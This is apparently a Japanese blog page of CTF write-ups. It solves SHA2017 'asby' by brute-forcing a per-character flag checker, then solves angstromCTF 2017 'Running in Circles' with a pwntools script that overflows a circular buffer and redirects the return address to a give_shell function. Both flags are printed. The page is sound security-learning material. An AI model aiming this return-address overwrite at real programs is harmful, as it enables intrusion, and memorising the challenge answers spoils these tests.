BINARY

SHA2017 CTF writeup asby

asby (100) - 98 solves

Eindbazen team member asby has by far been putting the most energy and time in creating the SHA2017 CTF. To honor his dedication and all his effort we created this challenge as an ode to him.

You can choose to reverse engineer this challenge or you can "asby" it. Good luck with the option you choose.
 asby.tgz 
7422948a4034252d45cee02753b3d13b
ファイルを解凍するとWindowsのコンソールアプリができます。実行するとWhat is the flag?とフラグを聞いてきます。入力した文字列がflagと一致しているか、1文字ずつ教えてくれるので順番に試していくとflagが分かります。
What is the flag? flag{024baa8ac03ef22fdde61c0f11069f2f}
Checking char 1:CORRECT!
Checking char 2:CORRECT!
Checking char 3:CORRECT!
Checking char 4:CORRECT!
Checking char 5:CORRECT!
Checking char 6:CORRECT!
Checking char 7:CORRECT!
Checking char 8:CORRECT!
Checking char 9:CORRECT!
Checking char 10:CORRECT!
Checking char 11:CORRECT!
Checking char 12:CORRECT!
Checking char 13:CORRECT!
Checking char 14:CORRECT!
Checking char 15:CORRECT!
Checking char 16:CORRECT!
Checking char 17:CORRECT!
Checking char 18:CORRECT!
Checking char 19:CORRECT!
Checking char 20:CORRECT!
Checking char 21:CORRECT!
Checking char 22:CORRECT!
Checking char 23:CORRECT!
Checking char 24:CORRECT!
Checking char 25:CORRECT!
Checking char 26:CORRECT!
Checking char 27:CORRECT!
Checking char 28:CORRECT!
Checking char 29:CORRECT!
Checking char 30:CORRECT!
Checking char 31:CORRECT!
Checking char 32:CORRECT!
Checking char 33:CORRECT!
Checking char 34:CORRECT!
Checking char 35:CORRECT!
Checking char 36:CORRECT!
Checking char 37:CORRECT!
Checking char 38:CORRECT!

Congrats, it seems you asby'ed the flag out of the challenge!
フラグは、
flag{024baa8ac03ef22fdde61c0f11069f2f}

angstromCTF 2017 writeup RUNNING IN CIRCLES

RUNNING IN CIRCLES

BINARY, 50

Our data input program was vulnerable to overflows, so we fixed that by implementing a circular buffer. Now it should be totally secure! See if you can prove us wrong and get the flag on our shell sever. The problem is available as: binary and source.

64ビットELFファイルとCソースファイルがダウンロードできます。Cソースファイルは次のようなものです。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* I should probably get rid of this... */
void give_shell()
{
gid_t gid = getegid();
setresgid(gid, gid, gid);
system("/bin/sh -i");
}

int main(int argc, char **argv)
{
char buffer[256];
int pos = 0;

printf("Welcome to the circular buffer manager:\n\n");
while(1)
{
int len;
printf("How many bytes? "); fflush(stdout);
scanf("%u", &len);
fgets(buffer, 2, stdin);

if (len == 0) break;

printf("Enter your data: "); fflush(stdout);
if (len < 256 - pos)
{
fgets(&buffer[pos], len, stdin);
pos += len;
}
else
{
fgets(&buffer[pos], 256 - pos, stdin);
len -= (256 - pos);
pos = 0;

fgets(&buffer[0], len, stdin);
pos += len;
}

printf("\n");
}

return 0;
}
最初にバイト数を入力します。256以上を入力した場合、1つ目のfgetsで256バイト読み込み、2つ目で残りを読み込むため、スタックオーバーフローを起こすことができそうです。main関数からの戻りアドレスを書き換えて、シェルを呼び出します。
main関数に入ったとき、スタックは次のような状態になっています。

no title

次のような感じでデータをセットしたいと思います。

1

下記のようなPythonコードを書きます。
#! /usr/bin/python
from pwn import *
import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./run_circles')
    cmd =  'cat ./flag.txt'
else:
    shell = ssh(host='shell.angstromctf.com', user='teamxxxxxx', password='zzzzzzzzzzzz')
    p = shell.run('/problems/running_in_circles/run_circles')
    cmd =  'cat /problems/running_in_circles/flag.txt'

p.recvuntil('How many bytes?')
p.sendline('544')

p.recvuntil('Enter your data:')
p.sendline(
    ''
    + 'A' * (256 - 1)
    + 'B' * 256
    + 'C' * 24
    + p64(0x400806) #give_shell
    )
p.recvuntil('How many bytes?')
p.sendline('0')
p.sendline(cmd)
p.sendline('exit')
p.recvall()
実行すると、次のとおりフラグを取得できました。
(略)
[DEBUG] Received 0x2b bytes:
    'actf{you_dont_just_go_around_a_circle_once}'
(略) 
フラグは、
actf{you_dont_just_go_around_a_circle_once}
です。




記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー